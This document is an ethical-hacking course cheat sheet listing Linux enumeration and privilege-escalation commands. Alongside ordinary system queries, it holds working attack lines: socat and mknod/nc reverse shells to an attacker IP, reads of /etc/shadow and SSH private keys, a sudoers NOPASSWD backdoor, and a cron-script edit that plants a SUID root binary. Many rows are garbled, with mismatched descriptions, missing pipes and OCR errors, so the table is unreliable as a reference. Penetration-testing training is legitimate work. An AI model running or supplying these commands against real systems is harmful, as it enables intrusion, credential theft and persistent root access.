

Ethical Hacking and Countermeasures Unix/Linux Enumeration Cheat Sheet



Data Source	Description	Description
/usr/bin/rusers [-a] [-l] [-u -h -i] [Host]	rusers	Displays a list of users who are logged on to remote machines or machines on the local network
rwho [-a]	rwho	Displays a list of users who are logged in to hosts on the local network
finger [-1] [-m] [-p] [-s] [user] [user@host]	finger	Displays information about system users such as user's login name, real name, terminal name, idle time, login time, office location, and office phone numbers
uname [options]	Uname -a	Displays OS name and version and other details about the current machine.
pinky [OPTION] [USER]	Use this DNS server	Displays the information about the users currently logged in
users [OPTION] [FILE]	users	Displays the information about the users currently logged in
who [options] [filename]	who -a	Displays the information about the users currently logged in
uname [options]	Uname -r	Used to display kernel release
hostname -[option] [file]	hostname	Used to display kernel release
uname [options]	Uname -n	Used to display System hostname
env [OPTION] [-][NAME=VALUE] [COMMAND [ARG]]	Env	Displays all the environmental variables information
sudo OPTION COMMAND	sudo -1	Displays all sudo information of the current user
sudo OPTION COMMAND	sudo -V	To check Sudo version
pwd [OPTION]	pwd	Outputs the current working directory path.
ls [options] [file dir]	ls -al	Lists all the files and their permissions in the current directory
ls [options] [file dir]	ls -ahlR /root/	See if you can access other user directories to find interesting files
ls [options] [file dir]	ls -la ~/.*_history	Show the current users' various history files
ls [options] [file dir]	ls -la ~/.ssh/	Check for interesting ssh files in the current users' directory
ls [options] [file dir]	ls -la /root/.*_history	Read root's history files
ls [options] [file dir]	ls -la /usr/sbin/in.*	Check Configuration of inetd services
ls [options] [file dir]	ls -la /etc/cron*	Scheduled jobs overview (hourly, daily, monthly etc)

Data Source	Description	Description
ls [options] [file dir]	\$ ls -la /etc/cron.d	Prints cron jobs which are already present in cron.d
ls [options] [file dir]	ls -la rootme	Tells us that it is owned by user
ls [options] [file dir]	ls -la /etc/*.conf	Lists .conf files in /etc (recursive 1 level)
ls [options] [file dir]	<pre>ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null</pre>	Check the permissions and contents of /etc/exports (NFS)
ls [options] [file dir]	ls -aRl /etc/cron* awk '\$1 ~ /w.\$/' 2>/dev/null	Check what can 'others' write in /etc/cron* directories
find /home/username/ -name "*.err"	find / -perm /6000 2>/dev/null;	Lists out all the SUID and SGID files
find /home/username/ -name "*.err"	find / -uid 0 -perm -4000 -type f 2>/dev/null	Lists out all the SUID and SGID files
find /home/username/ -name "*.err"	<pre>find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null</pre>	Find SUIDs
find /home/username/ -name "*.err"	<pre>find / -perm -2000 -group root -exec ls -ld {} \; 2> /dev/null</pre>	Find SGID
find /home/username/ -name "*.err"	<pre>find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null</pre>	Find world-writeable files excluding those in /proc
find /home/username/ -name "*.err	find / -xdev -type d -perm -0002 -ls 2> /dev/null	Find World Writable Folders
find /home/username/ -name "*.err	<pre>find / -xdev -type f -perm -0002 -ls 2> /dev/null</pre>	Find World Writable Files
find /home/username/ -name "*.err"	<pre>find / -perm -2 -type d 2>/dev/null</pre>	Find word-writeable directories
find /home/username/ -name "*.err"	<pre>find /home -name *.rhosts -print 2>/dev/null</pre>	Find rhost config files
find /home/username/ -name "*.err"	<pre>find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;</pre>	Find *.plan files, list permissions and cat the file contents
find /home/username/ -name "*.err"	<pre>find /etc -iname hosts. equiv -exec ls -la {} 2>/dev/nul1 ; -exec cat {} 2>/dev/nul1 ;</pre>	Find hosts.equiv, list permissions and cat the file contents
find /home/username/ -name "*.err"	<pre>find /var/log -type f -exec ls -la {} ; 2>/dev/null</pre>	List files in specified directory (/var/log)
find /home/username/ -name "*.err"	find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null xargs -r ls -la	Find SSH keys/host information

Data Source	Description	Description
find /home/username/ -name "*.err"	find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc)	Locate 'useful' programs (netcat, wget etc)
find /home/username/ -name "*.err"	<pre>find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {}; 2>/dev/null</pre>	List .conf files in /etc (recursive 1 level)
<pre>find /home/username/ -name "*.err"</pre>	<pre>ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null</pre>	Find .conf files (recursive 4 levels) and output line number where the word 'password' is located
cat [OPTION] [FILE]	cat /etc/passwd	List all the users
cat [OPTION] [FILE]	cat /etc/group	List all the groups on the system
cat [OPTION] [FILE]	cat /etc/shadow	Display all the users and their password hashes.
cat [OPTION] [FILE]	cat ~/.bash_history	Shows the current users' command history
cat [OPTION] [FILE]	cat /etc/fstab	sed to check fstab
cat [OPTION] [FILE]	cat /etc/services	Used to check running services
cat [OPTION] [FILE]	cat /etc/sudoers	Check who's allowed to do what as root – Privileged command
cat [OPTION] [FILE]	cat /proc/version	Used to display kernel information
cat [OPTION] [FILE]	cat /etc/*-release	Used to display Distribution information
cat [OPTION] [FILE]	cat /etc/profile	Display default system variables
cat [OPTION] [FILE]	cat /etc/shells	Display available shells
cat [OPTION] [FILE]	cat /etc/issue	Used to display Distribution information
cat [OPTION] [FILE]	cat /proc/cpuinfo	Used to display CPU information
cat [OPTION] [FILE]	cat /etc/cron*	Used to check cronjobs
cat [OPTION] [FILE]	cat /etc/inetd.conf	List services managed by inetd
cat [OPTION] [FILE]	cat /etc/xinetd.conf	List services managed by inetd xinetd
cat [OPTION] [FILE]	<pre>cat /etc/xinetd.conf 2>/dev/null awk '{print \$7}' xargs -r ls -la 2>/dev/null</pre>	Extract associated binaries from xinetd.conf and show permissions of eachs



Ethical Hacking and Countermeasures Unix/Linux Enumeration Cheat Sheet



Data Source	Description	Description
	cat	•
cat [OPTION] [FILE]	<pre>/etc/network/interfa ces</pre>	Used to list all network interfaces
cat [OPTION] [FILE]	cat /etc/resolv.conf	View port numbers/services mappings
cat [OPTION] [FILE]	cat /etc/services	View port numbers/services mappings
cat [OPTION] [FILE]	<pre>cat /etc/apache2/envvars 22/dev/null grep -i 'user group' awk '{sub(.*export /,"")}1'</pre>	Check which account is Apache running as
id [OPTION]	id	Displays the user ID and group ID of current user
whoami [OPTION]	whoami	Outputs the name of the current user
netstat [OPTION]	netstat -antup	Check for open ports
netstat [OPTION]	netstat -antp	Lists all TCP sockets and related PIDs (-p Privileged command)
netstat [OPTION]	netstat -anup	Lists all UDP sockets and related PIDs (-p Privileged command)
cat [OPTION] [FILE]	cat /etc/sudoers	Check who's allowed to do what as root – Privileged command
ps [OPTIONS]	ps -elf	Check Processes
ps [OPTIONS]	ps -elf grep root	Check processes running without root privileges
ps [OPTIONS]	ps aux grep root	View services running as root
ps [OPTIONS]	ps aux awk '{print \$11}' xargs -r ls -la 2>/dev/null awk '!x[\$0]++'	Lookup process binary path and permissions
dpkg [option] action	cat /etc/sheldpkg -l rpm -qa ls	Check installed packages
dpkg [option] action	dpkg -1	Check Installed packages (Debian)
dpkg [option]	<pre>dpkglist 2>/dev/null grep compiler grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null grep gcc 2>/dev/null</pre>	List available compilers
rpm -qa	rpm -qa	Shows Installed packages (Red Hat)
ip [options] OBJECT	ip addr	Check network configuration
socat INPUT_TYPE(OPTIONS) OUTPUT_TYPE(OPTIONS)	<pre>\$ socat exec:'bash -li',pty,stderr,setsid ,sigint,sane tcp:10.0.3.4:4444</pre>	Used for Listening port using socat

Data Source	Description	Description
socat INPUT_TYPE (OPTIONS) OUTPUT_TYPE(OPTIONS	<pre>\$ socat file: tty',raw,echo=0 tcp-listen:4444</pre>	Used for Connecting to the port using socat
mknod device-name device-type major-number minor-number	mknod /tmp/backpipe p; /bin/sh 0< /tmp/backpipe nc <ip> <port> 1> /tmp/backpipe; rm /tmp/backpipe</port></ip>	Used for Reverse connection using mknod
dpkg [options] filename	dpkg -1 <application name=""></application>	Check the version of an installed application
username host_list = (users) command	echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers	Edit sudoers file and grant sudo access to the current user with no password
echo [option] [string]	echo \$PATH	Displays Path information
echo [option] [string]	echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/lo cal/sbin/cron-logrota te.sh	Change the executable's owner and group as root. It will also set the SUID bit
df [OPTION][FILE]	df -a	Display File system information
df [OPTION][FILE]	df -h	Check the storage information
for NAME [in WORDS]; do COMMANDS;	for i in \$(cat /etc/passwd 2>/dev/null cut -d":" -f1 2>/dev/null);do id \$i;done 2>/dev/null	List all uid's and respective group memberships
grep [options] pattern [files]	<pre>grep -v -E "^#" /etc/passwd awk -F: '\$3 == 0 { print \$1}'</pre>	Shows the List all super user accounts
grep [options] pattern [files]	<pre>sudo -V grep "Sudo ver" grep "1.6.8p9\ 1.6.9p18\ 1.8 .14 \ 11.8.20\ 1.6.9p21\ 1.7. 2p4\ 1\. 8\.[0123]\$\ 1\.3\.[^1]\ 1 \.4\.\d*\ 1\.5\.\d*\ 1\.6\.\d*\ 1.5\$\ 1.6\$"</pre>	Check if the sudo version is vulnerable using this grep
grep [options] pattern [files]	<pre>grep -1 -i pass /var/log/*.log 2>/dev/null</pre>	Check log files for keywords ('pass' in this example) and show positive matches
w [options] user []	W	Check who is currently logged in and what they're doing
last [options] [username] [tty]	last	Used for listing of last logge on users
<pre>lastlog [<-u user> login-name] [<-t time> days] [<-h help>]</pre>	lastlog	Get the information on whe

Data Source	Description	Description
<pre>lastlog [<-u user> login-name] [<-t time> days] [<-h help>]</pre>	lastlog -u %username%	Gives information on when the specified user last logged in
<pre>lastlog [<-u user> login-name] [<-t time> days] [<-h help>]</pre>	lastlog grep -v "Never"	Shows the entire list of previously logged on users
set [abefhkmnptuvxBCHP] [-o option-name] [arg]	set	Displays environmental variables
\$ history	history	Displays command history of current user
<pre>lsof [option][user name]</pre>	lsof -i -n	List open files (output will depend on account privileges)
head [OPTION] [FILE]	head /var/mail/root	Read roots mail using this command
crontab [-u user] file	crontab -l -u %username%	Display scheduled jobs for the specified user – Privileged command
\$ top	top	Get the list of current tasks
ifconfig [OPTIONS] [INTERFACE]	/sbin/ifconfig -a	Lists all network interfaces
arp [-v] [-i if] [-H type] -a [hostname]	arp -a	Display ARP communications
route	route	Display route information
iptablestable TABLE -A/-C/-D CHAIN rulejump Target	iptables -L	List rules – Privileged command
apachectl command	apache2ctl (or apachectl) -M	List loaded Apache modules
mysqlversion	mysqlversion	Displays the installed MYSQL version details
psql [option] [dbname [username]]	psql -V	Provides the installed Postgres version details
\$ perl -v	perl -v	Provides installed Perl version details
<pre>java [options] class [argument]</pre>	java -version	Provides Installed Java version details
python [-d] [-E] [-h] [-i] [-m module-name] [-0] [-Q argument] [-S] [-t] [-u] [-v] [-V] [-W argument] [-x] [-c command script -] [arguments]	pythonversion	Get Installed Python version details



Ethical Hacking and Countermeasures Unix/Linux Enumeration Cheat Sheet



Data Source	Description	Description
ruby [copyright] [version] [-SacdInpswvy] [-0[cotal]] [-C directory] [-F pattern] [-I directory] [-K c] [-T[level]] [-e command] [-i[extension]] [-r library] [-x[directory]] [] [program_file] [argument]	ruby -v	Get Installed Ruby version details
which [filename1] [filename2]	which %program_name% (i.e. nc, netcat, wget, nmap etc	Used to locate 'useful' programs (netcat, wget etc)t
screen [-opts] [cmd [args]]	screen -ls	List screen sessions
screen [-opts] [cmd [args]]	screen -dr <session></session>	Used to attach to a session
tmux [-2CluvV] [-c shell-command] [-f file] [-L socket-name] [-S socket-path] [command [flags]]	tmux ls	Get a list of the currently running sessionss
<pre>tmux [-2CluvV] [-c shell-command] [-f file] [-L socket-name] [-S socket-path] [command [flags]]</pre>	tmux attach-session -t 0	To attach a session
timeout [OPTION] DURATION COMMAND [ARG]	timeout 1 tcpdump	Used to check if you can sniff traffic